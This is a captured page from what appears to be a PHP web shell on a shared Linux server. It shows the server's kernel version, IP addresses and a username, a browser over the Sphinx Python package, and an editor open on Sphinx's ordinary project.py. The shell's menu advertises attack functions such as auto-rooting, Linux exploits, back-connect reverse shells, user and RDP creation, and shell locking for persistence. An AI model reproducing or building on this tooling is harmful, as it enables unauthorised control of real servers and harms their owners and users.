Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
sphinx /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
builders
[ DIR ]
drwxr-xr-x
cmd
[ DIR ]
drwxr-xr-x
directives
[ DIR ]
drwxr-xr-x
domains
[ DIR ]
drwxr-xr-x
environment
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
locale
[ DIR ]
drwxr-xr-x
pycode
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
testing
[ DIR ]
drwxr-xr-x
texinputs_win
[ DIR ]
drwxr-xr-x
transforms
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
writers
[ DIR ]
drwxr-xr-x
__init__.py
2.09
KB
-rw-r--r--
__main__.py
280
B
-rw-r--r--
addnodes.py
17.37
KB
-rw-r--r--
application.py
53.34
KB
-rw-r--r--
config.py
19.92
KB
-rw-r--r--
deprecation.py
2.89
KB
-rw-r--r--
errors.py
3.5
KB
-rw-r--r--
events.py
4.14
KB
-rw-r--r--
extension.py
2.75
KB
-rw-r--r--
highlighting.py
6.41
KB
-rw-r--r--
io.py
6.39
KB
-rw-r--r--
jinja2glue.py
7.02
KB
-rw-r--r--
parsers.py
3.81
KB
-rw-r--r--
project.py
3.45
KB
-rw-r--r--
py.typed
0
B
-rw-r--r--
pygments_styles.py
2.95
KB
-rw-r--r--
registry.py
21.62
KB
-rw-r--r--
roles.py
13.52
KB
-rw-r--r--
setup_command.py
6.86
KB
-rw-r--r--
theming.py
8.4
KB
-rw-r--r--
versioning.py
5.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : project.py
""" sphinx.project ~~~~~~~~~~~~~~ Utility function and classes for Sphinx projects. :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import os from glob import glob from typing import Dict, List, Optional, Set from sphinx.locale import __ from sphinx.util import get_matching_files, logging, path_stabilize from sphinx.util.matching import compile_matchers from sphinx.util.osutil import SEP, relpath logger = logging.getLogger(__name__) EXCLUDE_PATHS = ['**/_sources', '.#*', '**/.#*', '*.lproj/**'] class Project: """A project is the source code set of the Sphinx document(s).""" def __init__(self, srcdir: str, source_suffix: Dict[str, str]) -> None: #: Source directory. self.srcdir = srcdir #: source_suffix. Same as :confval:`source_suffix`. self.source_suffix = source_suffix #: The name of documents belongs to this project. self.docnames: Set[str] = set() def restore(self, other: "Project") -> None: """Take over a result of last build.""" self.docnames = other.docnames def discover(self, exclude_paths: List[str] = []) -> Set[str]: """Find all document files in the source directory and put them in :attr:`docnames`. """ self.docnames = set() excludes = compile_matchers(exclude_paths + EXCLUDE_PATHS) for filename in get_matching_files(self.srcdir, excludes): # type: ignore docname = self.path2doc(filename) if docname: if docname in self.docnames: pattern = os.path.join(self.srcdir, docname) + '.*' files = [relpath(f, self.srcdir) for f in glob(pattern)] logger.warning(__('multiple files found for the document "%s": %r\n' 'Use %r for the build.'), docname, files, self.doc2path(docname), once=True) elif os.access(os.path.join(self.srcdir, filename), os.R_OK): self.docnames.add(docname) else: logger.warning(__("document not readable. Ignored."), location=docname) return self.docnames def path2doc(self, filename: str) -> Optional[str]: """Return the docname for the filename if the file is a document. *filename* should be absolute or relative to the source directory. """ if filename.startswith(self.srcdir): filename = relpath(filename, self.srcdir) for suffix in self.source_suffix: if filename.endswith(suffix): filename = path_stabilize(filename) return filename[:-len(suffix)] # the file does not have docname return None def doc2path(self, docname: str, basedir: bool = True) -> str: """Return the filename for the document name. If *basedir* is True, return as an absolute path. Else, return as a relative path to the source directory. """ docname = docname.replace(SEP, os.path.sep) basename = os.path.join(self.srcdir, docname) for suffix in self.source_suffix: if os.path.isfile(basename + suffix): break else: # document does not exist suffix = list(self.source_suffix)[0] if basedir: return basename + suffix else: return docname + suffix
Close